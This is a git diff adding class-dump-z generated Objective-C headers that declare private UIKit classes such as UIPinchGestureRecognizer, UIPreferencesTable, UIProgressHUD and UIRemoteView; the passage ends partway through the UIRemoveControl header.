mode 100644 index 0000000..3b5835e --- /dev/null +++ b/igor/headers/dumpedUIKit/UIPinchGestureRecognizer.h @@ -0,0 +1,37 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIGestureRecognizer.h" +#import "UIKit-Structs.h" + + +@interface UIPinchGestureRecognizer : UIGestureRecognizer { + float _lastTouchDistance; + double _lastTouchTime; + float _velocity; + float _previousVelocity; + float _scaleThreshold; + CGAffineTransform _transform; + CGPoint _anchorPoint; + unsigned _scrollViewGesture : 1; +} +@property(readonly, assign, nonatomic) CGAffineTransform transform; +@property(assign, nonatomic) float scaleThreshold; +@property(assign, nonatomic, getter=isScrollViewGesture) BOOL scrollViewGesture; +@property(readonly, assign, nonatomic) float velocity; +@property(readonly, assign, nonatomic) float scale; +@property(readonly, assign, nonatomic) CGPoint anchorPoint; +-(id)initWithTarget:(id)target action:(SEL)action; +-(void)reset; +-(float)_distanceBetweenTouches:(id)touches; +-(void)touchesBegan:(id)began withEvent:(id)event; +-(void)touchesMoved:(id)moved withEvent:(id)event; +-(void)touchesEnded:(id)ended withEvent:(id)event; +-(void)touchesCancelled:(id)cancelled withEvent:(id)event; +-(BOOL)_shouldSaveGestureFromExclusion:(id)exclusion; +@end + diff --git a/igor/headers/dumpedUIKit/UIPlacardButton.h b/igor/headers/dumpedUIKit/UIPlacardButton.h new file mode 100644 index 0000000..3e569e9 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIPlacardButton.h @@ -0,0 +1,19 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIThreePartButton.h" + + +@interface UIPlacardButton : UIThreePartButton { +} ++(id)defaultFont; +-(id)initWithFrame:(CGRect)frame isShort:(BOOL)aShort; +-(id)initWithFrame:(CGRect)frame; +-(id)initWithTitle:(id)title autosizesToFit:(BOOL)fit isShort:(BOOL)aShort; +@end + diff --git a/igor/headers/dumpedUIKit/UIPlaceholderColor.h b/igor/headers/dumpedUIKit/UIPlaceholderColor.h new file mode 100644 index 0000000..0e0adf9 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIPlaceholderColor.h @@ -0,0 +1,20 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIColor.h" + + +__attribute__((visibility("hidden"))) +@interface UIPlaceholderColor : UIColor { +} +-(id)autorelease; +-(id)retain; +-(unsigned)retainCount; +-(oneway void)release; +-(void)dealloc; +@end + diff --git a/igor/headers/dumpedUIKit/UIPreferencesControlTableCell.h b/igor/headers/dumpedUIKit/UIPreferencesControlTableCell.h new file mode 100644 index 0000000..42637ce --- /dev/null +++ b/igor/headers/dumpedUIKit/UIPreferencesControlTableCell.h @@ -0,0 +1,22 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIPreferencesTableCell.h" +#import "UIKit-Structs.h" + +@class UIControl; + +@interface UIPreferencesControlTableCell : UIPreferencesTableCell { +@private + UIControl* _control; +} +-(void)setControl:(id)control; +-(id)control; +-(void)_controlClicked:(id)clicked; +-(void)setUserInteractionEnabled:(BOOL)enabled; +@end + diff --git a/igor/headers/dumpedUIKit/UIPreferencesDeleteTableCell.h b/igor/headers/dumpedUIKit/UIPreferencesDeleteTableCell.h new file mode 100644 index 0000000..2be2d27 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIPreferencesDeleteTableCell.h @@ -0,0 +1,18 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIPreferencesControlTableCell.h" + + +@interface UIPreferencesDeleteTableCell : UIPreferencesControlTableCell { +} ++(float)defaultHeight; +-(id)initWithFrame:(CGRect)frame; +-(id)button; +@end + diff --git a/igor/headers/dumpedUIKit/UIPreferencesTable.h b/igor/headers/dumpedUIKit/UIPreferencesTable.h new file mode 100644 index 0000000..e2b1495 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIPreferencesTable.h @@ -0,0 +1,91 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UITable.h" + +@class UIKeyboard, NSMutableArray, UIPreferencesTableCell; + +@interface UIPreferencesTable : UITable { +@private + UIPreferencesTableCell* _editingCell; + int _editingCellRow; + NSMutableArray* _groupItems; + UIKeyboard* _keyboard; + float _textOffset; + CFDictionaryRef _piecesForCell; + unsigned _datasourceCellForGroup : 1; + unsigned _datasourceIsRadioGroup : 1; + unsigned _datasourceIsLabelGroup : 1; + unsigned _datasourceIsRowCheckedInRadioGroup : 1; + unsigned _centersContent : 1; + unsigned _reserved : 27; +} +-(void)dealloc; +-(id)initWithFrame:(CGRect)frame; +-(void)setFrame:(CGRect)frame; +-(BOOL)canHandleSwipes; +-(BOOL)canDeleteRow:(int)row; +-(BOOL)canInsertAtRow:(int)row; +-(void)addTableColumn:(id)column; +-(BOOL)canSelectRow:(int)row; +-(id)_visibleCheckedCellInTableRowRange:(NSRange)tableRowRange; +-(void)_fadeCellSelection; +-(void)selectRow:(int)row byExtendingSelection:(BOOL)selection withFade:(BOOL)fade; +-(int)tableRowForRow:(int)row inGroup:(int)group; +-(id)_groupItemForTableRow:(int)tableRow andGroupIndex:(int*)index andRow:(int*)row inGroups:(id)groups; +-(id)_groupItemForTableRow:(int)tableRow andGroupIndex:(int*)index andRow:(int*)row; +-(BOOL)getGroup:(int*)group row:(int*)row ofPreferencesTableCell:(id)preferencesTableCell; +-(int)groupForTableRow:(int)tableRow; +-(BOOL)getGroup:(int*)group row:(int*)row forTableRow:(int)tableRow; +-(void)setDataSource:(id)source; +-(BOOL)validateDataSource; +-(int)dataSourceGetRowCount; +-(int)_cellOutlineForRow:(int)row withChildCount:(int)childCount isLabelGroup:(BOOL)group; +-(id)dataSourceCreateCellForRow:(int)row column:(int)column reusing:(id)reusing; +-(CGRect)frameOfPreferencesCellAtRow:(int)row inGroup:(int)group; +-(BOOL)floatArray:(id)array loadValues:(float*)values count:(int)count; +-(int)_paddingForCenteringContent; +-(void)_updatePaddingForCenteringContent; +-(void)setCentersContent:(BOOL)content; +-(void)_updateContentSize; +-(BOOL)dataSourceSupportsVariableRowHeights; +-(id)visiblePreferencesCellForRow:(int)row inGroup:(int)group; +-(void)animateDeletionOfRowWithCell:(id)cell viaEdge:(int)edge; +-(BOOL)shouldIndentRow:(int)row; +-(void)deleteRows:(id)rows viaEdge:(int)edge; +-(void)_setAlpha:(float)alpha forSubviewsOf:(id)of; +-(id)_existingPieceForCell:(id)cell; +-(id)_copyPieceOfCell:(id)cell withContentsPosition:(int)contentsPosition; +-(float)animationDuration; +-(void)reloadData; +-(void)insertItems:(id)items; +-(void)deleteItems:(id)items; +-(void)_fadeCellOutAnimationDidStop:(id)_fadeCellOutAnimation finished:(id)finished context:(id)context; +-(void)_removeContextFromSuperview:(id)superview finished:(id)finished context:(id)context; +-(void)_removePiecesFromSuperview:(id)superview; +-(void)_removePiecesFromSuperview:(id)superview finished:(id)finished context:(id)context; +-(void)_fadeCellOutAnimationDidStopAndFixOutlines:(id)_fadeCellOutAnimation finished:(id)finished context:(id)context; +-(void)enableRowDeletion:(BOOL)deletion animated:(BOOL)animated; +-(void)_animatePiecesOfCell:(id)cell isFirstItemInGroup:(BOOL)group isDeletion:(BOOL)deletion isDestinationRowFrame:(CGRect)frame; +-(BOOL)_userCanDeleteRows; +-(void)insertItems:(id)items deleteItems:(id)items2 andReloadIndexes:(id)indexes; +-(BOOL)keyboardVisible; +-(id)keyboard; +-(void)_keyboardRemoveAnimationCompleted:(id)completed; +-(void)setKeyboardVisible:(BOOL)visible; +-(BOOL)_scrollsToMakeFirstResponderVisible; +-(void)resumeWithNotification:(id)notification; +-(void)setBottomBufferHeight:(float)height; +-(void)scrollAndCenterTableCell:(id)cell animated:(BOOL)animated; +-(void)setKeyboardVisible:(BOOL)visible animated:(BOOL)animated; +-(id)_editingCell; +-(void)_setEditingCell:(id)cell; +-(int)editingRow; +-(BOOL)_beginEditingNextCell; +@end + diff --git a/igor/headers/dumpedUIKit/UIPreferencesTableCell.h b/igor/headers/dumpedUIKit/UIPreferencesTableCell.h new file mode 100644 index 0000000..db6479f --- /dev/null +++ b/igor/headers/dumpedUIKit/UIPreferencesTableCell.h @@ -0,0 +1,130 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIImageAndTextTableCell.h" +#import "UIPreferencesTableCell.h" + +@class UITextLabel, UIBezierPath, UIImageView; + +@interface UIPreferencesTableCell : UIImageAndTextTableCell { +@private + int _cellOutline; + id _value; + SEL _action; + id _target; + UIImageView* _checkedImageView; +@protected + UIBezierPath* _fillPath; + UIBezierPath* _strokePath; + UITextLabel* _valueTextLabel; + unsigned _radioGroupItem : 1; + unsigned _ignoreRemoveFromSuperView : 1; + unsigned _drawAsLabel : 1; + unsigned _drawAsGroupTitle : 1; + unsigned _drawsBackground : 1; + unsigned _blueDisclosureCircle : 1; + unsigned _checkStyle : 4; + unsigned _superViewIsPrefTable : 1; + unsigned _dontHighlightOnMouseDown : 1; + unsigned _tracking : 1; + unsigned _valueChanged : 1; + unsigned _removeControlVisible : 1; + unsigned _dontIndentForRemoveControl : 1; + unsigned _checkPosition : 1; + unsigned _truncatesTitleBeforeValue : 1; + unsigned _reserved : 14; +} ++(id)defaultTitleFont; ++(Class)valueTextLabelClass; +-(float)_cellInset; +-(CGRect)buttonBounds; +-(CGRect)contentBounds; +-(id)enclosingPreferencesTable; +-(void)_setSuperviewsIsPrefTable:(BOOL)table; +-(void)movedToSuperview:(id)superview; +-(BOOL)pointMostlyInside:(CGPoint)inside withEvent:(id)event; +-(BOOL)pointMostlyInside:(CGPoint)inside forEvent:(GSEventRef)event; +-(void)setHighlighted:(BOOL)highlighted; +-(void)_setHighlightOnMouseDown:(BOOL)down; +-(void)mouseDragged:(GSEventRef)dragged; +-(void)_unhighlight; +-(void)mouseUp:(GSEventRef)up; +-(void)mouseDown:(GSEventRef)down; +-(void)_createBezierPathWithCornerRadius:(float)cornerRadius bottomRadius:(float)radius animating:(BOOL)animating; +-(void)setNeedsDisplay; +-(id)initWithFrame:(CGRect)frame; +-(void)dealloc; +-(void)removeFromSuperview; +-(void)_invalidatePaths; +-(void)setDrawsBackground:(BOOL)background; +-(void)setFrame:(CGRect)frame; +-(void)drawBackgroundInRect:(CGRect)rect withFade:(float)fade; +-(CGContextRef)_createContextForCaching; +-(CGImageRef)_createCachedPrefImage; +-(CGImageRef)_cachedBackgroundImage; +-(void)_layoutSubviewsAnimated:(BOOL)animated; +-(void)setCellOutline:(int)outline; +-(int)cellOutline; +-(void)_removeContextFromSuperview:(id)superview finished:(id)finished context:(id)context; +-(void)_removeContextFromSuperviewAndRedislaySelf:(id)superviewAndRedislaySelf finished:(id)finished context:(id)context; +-(id)_copyBackgroundButtonViewWithFrame:(CGRect)frame; +-(float)removeButtonAnimationDuration; +-(void)_animateRemoveControlVisible:(BOOL)visible; +-(void)_updateButtonSizeForRemoveControlVisible:(BOOL)removeControlVisible animated:(BOOL)animated; +-(void)removeControlWillShowRemoveButton:(id)removeControl animated:(BOOL)animated; +-(void)removeControlWillHideRemoveButton:(id)removeControl animated:(BOOL)animated; +-(void)removeControl:(id)control willRemoveTarget:(id)target; +-(id)valueColor; +-(id)outlineColor; +-(id)_getTitleColor; +-(id)valueTextLabel; +-(void)setValue:(id)value; +-(id)value; +-(void)setTruncatesTitleBeforeValue:(BOOL)value; +-(BOOL)truncatesTitleBeforeValue; +-(float)disclosureRightMargin; +-(id)hitTest:(CGPoint)test forEvent:(GSEventRef)event; +-(void)setTarget:(id)target; +-(id)target; +-(void)setAction:(SEL)action; +-(SEL)action; +-(id)_checkMarkImage; +-(void)_setRadioGroupItem:(BOOL)item; +-(void)setCheckStyle:(int)style; +-(void)setCheckPosition:(int)position; +-(void)setChecked:(BOOL)checked; +-(BOOL)isChecked; +-(void)_disclosureClicked:(id)clicked; +-(void)setUsesBlueDisclosureCircle:(BOOL)circle; +-(id)disclosureImage; +-(id)disclosurePressedImage; +-(void)_setDrawAsGroupTitle:(BOOL)title; +-(void)_setDrawAsLabel:(BOOL)label; +-(void)sizeToFit; +-(void)setIndentsBackgroundForRemoveControl:(BOOL)removeControl; +-(BOOL)indentsBackgroundForRemoveControl; +-(id)createRemoveControl; +-(void)_layoutDisclosureIfNeeded; +-(CGPoint)iconInset; +-(CGPoint)textInset; +-(void)layoutSubviews; +-(void)setIcon:(id)icon; +-(void)updateHighlightColors; +-(void)setSelected:(BOOL)selected withFade:(BOOL)fade; +-(void)_setIgnoreRemoveFromSuperView:(BOOL)superView; +-(void)setUserInteractionEnabled:(BOOL)enabled; +-(id)hitTest:(CGPoint)test withEvent:(id)event; +-(void)touchesBegan:(id)began withEvent:(id)event; +-(void)touchesMoved:(id)moved withEvent:(id)event; +-(void)touchesEnded:(id)ended withEvent:(id)event; +@end + +@interface UIPreferencesTableCell (SyntheticEvents) +-(id)_scriptingInfo; +@end + diff --git a/igor/headers/dumpedUIKit/UIPreferencesTableCellRemoveControl.h b/igor/headers/dumpedUIKit/UIPreferencesTableCellRemoveControl.h new file mode 100644 index 0000000..c125e7d --- /dev/null +++ b/igor/headers/dumpedUIKit/UIPreferencesTableCellRemoveControl.h @@ -0,0 +1,23 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIRemoveControl.h" + + +__attribute__((visibility("hidden"))) +@interface UIPreferencesTableCellRemoveControl : UIRemoveControl { +} +-(void)addConfirmationButtonSubview:(id)subview withWidth:(float)width target:(id)target; +-(float)removeButtonAnimationDuration; +-(CGRect)removeButtonEndingFrame; +-(CGRect)removeButtonStartingFrame; +-(float)_verticalOffsetFromTarget; +-(float)_removeConfirmationButtonVerticalOffset; +-(CGRect)targetContentBounds; +@end + diff --git a/igor/headers/dumpedUIKit/UIPreferencesTextTableCell.h b/igor/headers/dumpedUIKit/UIPreferencesTextTableCell.h new file mode 100644 index 0000000..06af74d --- /dev/null +++ b/igor/headers/dumpedUIKit/UIPreferencesTextTableCell.h @@ -0,0 +1,47 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIPreferencesTableCell.h" +#import "UITextFieldDelegate.h" + +@class UILabel, UITextField; + +@interface UIPreferencesTextTableCell : UIPreferencesTableCell { +@private + UITextField* _textField; + UILabel* _valueSuffixLabel; + float _textFieldOffset; + SEL _returnAction; +} +-(id)initWithFrame:(CGRect)frame; +-(void)setTextFieldOffset:(float)offset; +-(float)textFieldOffset; +-(void)setReturnAction:(SEL)action; +-(void)dealloc; +-(id)_disabledFontColor; +-(BOOL)becomeFirstResponder; +-(BOOL)canBecomeFirstResponder; +-(BOOL)resignFirstResponder; +-(void)setUserInteractionEnabled:(BOOL)enabled; +-(void)setValueSuffix:(id)suffix; +-(BOOL)hasValueSuffix; +-(void)setValue:(id)value; +-(void)textFieldDidBecomeFirstResponder:(id)textField; +-(id)value; +-(id)valueTextLabel; +-(void)_textFieldStartEditing:(id)editing; +-(void)_textFieldEndEditing:(id)editing; +-(void)_textFieldEndEditingOnReturn:(id)aReturn; +-(void)_textValueChanged:(id)changed; +-(void)textFieldClearButtonPressed:(id)pressed; +-(id)textField; +-(void)setPlaceHolderValue:(id)value; +-(void)_updateSuffixFrame; +-(void)layoutSubviews; +@end + diff --git a/igor/headers/dumpedUIKit/UIProgressBar.h b/igor/headers/dumpedUIKit/UIProgressBar.h new file mode 100644 index 0000000..53233f7 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIProgressBar.h @@ -0,0 +1,18 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIProgressView.h" + + +@interface UIProgressBar : UIProgressView { +} +@property(assign, nonatomic) int progressBarStyle; +-(id)initWithFrame:(CGRect)frame; +-(void)setStyle:(int)style; +@end + diff --git a/igor/headers/dumpedUIKit/UIProgressHUD.h b/igor/headers/dumpedUIKit/UIProgressHUD.h new file mode 100644 index 0000000..844d4ff --- /dev/null +++ b/igor/headers/dumpedUIKit/UIProgressHUD.h @@ -0,0 +1,43 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" +#import "UIProgressHUD.h" + +@class UIImageView, UILabel, UIProgressIndicator, UIWindow; + +@interface UIProgressHUD : UIView { + UIProgressIndicator* _progressIndicator; + UILabel* _progressMessage; + UIImageView* _doneView; + UIWindow* _parentWindow; + struct { + unsigned isShowing : 1; + unsigned isShowingText : 1; + unsigned fixedFrame : 1; + unsigned reserved : 30; + } _progressHUDFlags; +} +-(id)_progressIndicator; +-(id)initWithFrame:(CGRect)frame; +-(void)setText:(id)text; +-(void)setShowsText:(BOOL)text; +-(void)setFontSize:(int)size; +-(void)drawRect:(CGRect)rect; +-(void)layoutSubviews; +-(void)showInView:(id)view; +-(void)hide; +-(void)done; +-(void)dealloc; +@end + +@interface UIProgressHUD (Deprecated) +-(id)initWithWindow:(id)window; +-(void)show:(BOOL)show; +@end + diff --git a/igor/headers/dumpedUIKit/UIProgressIndicator.h b/igor/headers/dumpedUIKit/UIProgressIndicator.h new file mode 100644 index 0000000..44c52b2 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIProgressIndicator.h @@ -0,0 +1,21 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIActivityIndicatorView.h" + + +@interface UIProgressIndicator : UIActivityIndicatorView { +} +@property(assign, nonatomic) int progressIndicatorStyle; ++(CGSize)size; +-(void)setStyle:(int)style; +-(void)setAnimating:(BOOL)animating; +-(void)startAnimation; +-(void)stopAnimation; +@end + diff --git a/igor/headers/dumpedUIKit/UIProgressView.h b/igor/headers/dumpedUIKit/UIProgressView.h new file mode 100644 index 0000000..a75bcad --- /dev/null +++ b/igor/headers/dumpedUIKit/UIProgressView.h @@ -0,0 +1,36 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "NSCoding.h" +#import "UIView.h" +#import "UIProgressView.h" + + +@interface UIProgressView : UIView { +@private + int _progressViewStyle; + float _progress; +} +@property(assign, nonatomic) int progressViewStyle; +@property(assign, nonatomic) float progress; ++(CGSize)defaultSize; ++(void)_loadResourcesForStyle:(int)style; +-(id)initWithFrame:(CGRect)frame; +-(id)initWithProgressViewStyle:(int)progressViewStyle; +-(id)initWithCoder:(id)coder; +-(void)encodeWithCoder:(id)coder; +-(CGSize)sizeThatFits:(CGSize)fits; +-(void)drawOverlayProgressView:(CGRect)view; +-(void)drawProgressView:(CGRect)view; +-(void)drawRect:(CGRect)rect; +@end + +@interface UIProgressView (UIKitAccessibilityInterfaceBuilderSupport) +-(BOOL)isElementAccessibilityExposedToInterfaceBuilder; +@end + diff --git a/igor/headers/dumpedUIKit/UIProxyObject.h b/igor/headers/dumpedUIKit/UIProxyObject.h new file mode 100644 index 0000000..944a9e0 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIProxyObject.h @@ -0,0 +1,30 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import +#import "NSCoding.h" + +@class NSString; + +__attribute__((visibility("hidden"))) +@interface UIProxyObject : NSObject { +@private + NSString* proxiedObjectIdentifier; +} ++(CFDictionaryRef)proxyDecodingMap; ++(void)addMappingFromIdentifier:(id)identifier toObject:(id)object forCoder:(id)coder; ++(void)addMappings:(id)mappings forCoder:(id)coder; ++(id)mappedObjectForCoder:(id)coder withIdentifier:(id)identifier; ++(void)removeMappingsForCoder:(id)coder; +-(id)initWithCoder:(id)coder; +-(void)encodeWithCoder:(id)coder; +-(void)dealloc; +-(void)setProxiedObjectIdentifier:(id)identifier; +-(id)proxiedObjectIdentifier; +@end + diff --git a/igor/headers/dumpedUIKit/UIPushButton.h b/igor/headers/dumpedUIKit/UIPushButton.h new file mode 100644 index 0000000..2f0ce0a --- /dev/null +++ b/igor/headers/dumpedUIKit/UIPushButton.h @@ -0,0 +1,113 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIControl.h" +#import "UIPushButton.h" + +@class UIFont, NSString; + +@interface UIPushButton : UIControl { + NSString* _title; + UIFont* _font; + CGSize _shadowOffset; + CGSize _imageOffset; + CGSize _titlePadding; + CFDictionaryRef _info; + struct { + unsigned selected : 1; + unsigned drawShadow : 1; + unsigned disableAutosizeToFit : 1; + unsigned drawContentsCentered : 1; + unsigned reverseShadowDirectionWhenHighlighted : 1; + unsigned stretchBackground : 1; + unsigned showPressFeedback : 1; + unsigned disabledDimsImage : 1; + unsigned alwaysHandleScrollerMouseEvent : 1; + unsigned drawsImageOnRight : 1; + } _pushButtonFlags; +} ++(id)defaultFont; +-(id)initWithFrame:(CGRect)frame; +-(id)initWithTitle:(id)title; +-(id)initWithTitle:(id)title autosizesToFit:(BOOL)fit; +-(id)initWithImage:(id)image; +-(void)dealloc; +-(unsigned)state; +-(void)setEnabled:(BOOL)enabled; +-(BOOL)isPressed; +-(void)setSelected:(BOOL)selected; +-(BOOL)isSelected; +-(void)setTitle:(id)title; +-(id)title; +-(void)setTitleFont:(id)font; +-(id)titleFont; +-(void)setAutosizesToFit:(BOOL)fit; +-(BOOL)autosizesToFit; +-(void)sizeToFit; +-(CGPoint)pressFeedbackPosition; +-(void)setHighlighted:(BOOL)highlighted; +-(void)setTracking:(BOOL)tracking; +-(BOOL)_alwaysHandleScrollerMouseEvent; +-(void)_setAlwaysHandleScrollerMouseEvent:(BOOL)event; +-(void)setTitlePadding:(CGSize)padding; +-(void)setImageOffset:(CGSize)offset; +-(void)setDrawsShadow:(BOOL)shadow; +-(void)setShadowOffset:(float)offset; +-(void)setReverseShadowDirectionWhenHighlighted:(BOOL)highlighted; +-(void)setStretchBackground:(BOOL)background; +-(void)setDrawContentsCentered:(BOOL)centered; +-(void)setShowPressFeedback:(BOOL)feedback; +-(void)setDrawsImageOnRight:(BOOL)right; +-(BOOL)drawsShadow; +-(CGSize)shadowOffset; +-(CGSize)imageOffset; +-(BOOL)drawContentsCentered; +-(void)setImage:(id)image forState:(unsigned)state; +-(void)setTitleColor:(id)color forState:(unsigned)state; +-(void)setShadowColor:(id)color forState:(unsigned)state; +-(void)setBackground:(id)background forState:(unsigned)state; +-(void)setDisabledDimsImage:(BOOL)image; +-(id)imageForState:(unsigned)state; +-(id)titleColorForState:(unsigned)state; +-(id)shadowColorForState:(unsigned)state; +-(id)backgroundForState:(unsigned)state; +-(id)currentImage; +-(id)currentTitleColor; +-(id)currentShadowColor; +-(id)currentBackground; +-(void)setFrame:(CGRect)frame; +-(XXStruct_UUz0SD)_backgroundSlices:(CGSize)slices; +-(void)_drawBezelPartInRect:(CGRect)rect; +-(void)drawImageAtPoint:(CGPoint)point fraction:(float)fraction; +-(void)drawTitleAtPoint:(CGPoint)point width:(float)width; +-(void)_drawImageAndTextPartInRect:(CGRect)rect; +-(void)drawButtonPart:(int)part inRect:(CGRect)rect; +-(void)drawRect:(CGRect)rect; +-(void)setNeedsDisplay; +@end + +@interface UIPushButton (SyntheticEvents) +-(id)_scriptingInfo; +@end + +@interface UIPushButton (Original) +-(void)setImage:(id)image; +-(void)setPressedImage:(id)image; +-(id)image; +-(void)setTitleColor:(id)color; +-(void)setHighlightedTitleColor:(id)color; +-(id)titleColor; +-(void)setShadowColor:(id)color; +@end + +@interface UIPushButton (Static) +-(void)_removePressFeedback:(id)feedback finished:(id)finished; +-(XXStruct_Xx1ZfA)_currentButtonStateInfo; +-(void)_setNeedsDisplay:(XXStruct_Xx1ZfA)display; +@end + diff --git a/igor/headers/dumpedUIKit/UIRemoteApplication.h b/igor/headers/dumpedUIKit/UIRemoteApplication.h new file mode 100644 index 0000000..ac26991 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIRemoteApplication.h @@ -0,0 +1,29 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + +@class NSString; + +@interface UIRemoteApplication : NSObject { + NSString* _machServiceName; + unsigned _port; +} +-(id)initWithBundleIdentifier:(id)bundleIdentifier; +-(id)initWithMachServiceName:(id)machServiceName; +-(void)dealloc; +-(void)updatePort; +-(void)hideTopMostMiniAlert:(int)alert; +-(void)showTopMostMiniAlert; +-(void)statusBarWillAnimateToHeight:(float)statusBar duration:(double)duration fence:(int)fence; +-(void)simpleRemoteActionDidOccur:(int)simpleRemoteAction; +-(void)sheetWithRemoteViewIdentifierDidDismiss:(id)sheetWithRemoteViewIdentifier; +-(void)remoteNotificationRegistrationSucceededWithDeviceToken:(id)deviceToken; +-(void)remoteNotificationRegistrationFailedWithErrorDomain:(id)errorDomain code:(int)code localizedDescription:(id)description; +-(void)remoteNotificationMessageDelivered; +@end + diff --git a/igor/headers/dumpedUIKit/UIRemoteSheetInfo.h b/igor/headers/dumpedUIKit/UIRemoteSheetInfo.h new file mode 100644 index 0000000..34b7d29 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIRemoteSheetInfo.h @@ -0,0 +1,30 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + +@class UIRemoteView, UIView; + +__attribute__((visibility("hidden"))) +@interface UIRemoteSheetInfo : NSObject { +@private + UIView* _sheetView; + UIRemoteView* _remoteView; + id _delegate; + SEL _selector; + void* _context; + int _returnCode; +} +@property(retain, nonatomic) UIView* sheetView; +@property(retain, nonatomic) UIRemoteView* remoteView; +@property(assign, nonatomic) id delegate; +@property(assign, nonatomic) SEL selector; +@property(assign, nonatomic) void* context; +@property(assign, nonatomic) int returnCode; +-(void)dealloc; +@end + diff --git a/igor/headers/dumpedUIKit/UIRemoteView.h b/igor/headers/dumpedUIKit/UIRemoteView.h new file mode 100644 index 0000000..6a849bc --- /dev/null +++ b/igor/headers/dumpedUIKit/UIRemoteView.h @@ -0,0 +1,24 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class NSString, UIRemoteWindow; + +@interface UIRemoteView : UIView { + NSString* _remoteViewIdentifier; + UIRemoteWindow* _remoteWindow; + BOOL _captureAllWindows; +} +-(id)initWithFrame:(CGRect)frame captureAllWindows:(BOOL)windows; +-(void)registerWithIdentifier:(id)identifier; +-(void)dealloc; +-(void)unregister; +-(id)remoteViewIdentifier; +@end + diff --git a/igor/headers/dumpedUIKit/UIRemoteWindow.h b/igor/headers/dumpedUIKit/UIRemoteWindow.h new file mode 100644 index 0000000..9aea95b --- /dev/null +++ b/igor/headers/dumpedUIKit/UIRemoteWindow.h @@ -0,0 +1,17 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIWindow.h" + + +__attribute__((visibility("hidden"))) +@interface UIRemoteWindow : UIWindow { +} +-(BOOL)_allowsContextHosting; +@end + diff --git a/igor/headers/dumpedUIKit/UIRemoveControl.h b/igor/headers/dumpedUIKit/UIRemoveControl.h new file mode 100644 index 0000000..39eea4e --- /dev/null +++ b/igor/headers/dumpedUIKit/UIRemoveControl.h @@ -0,0 +1,86 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by 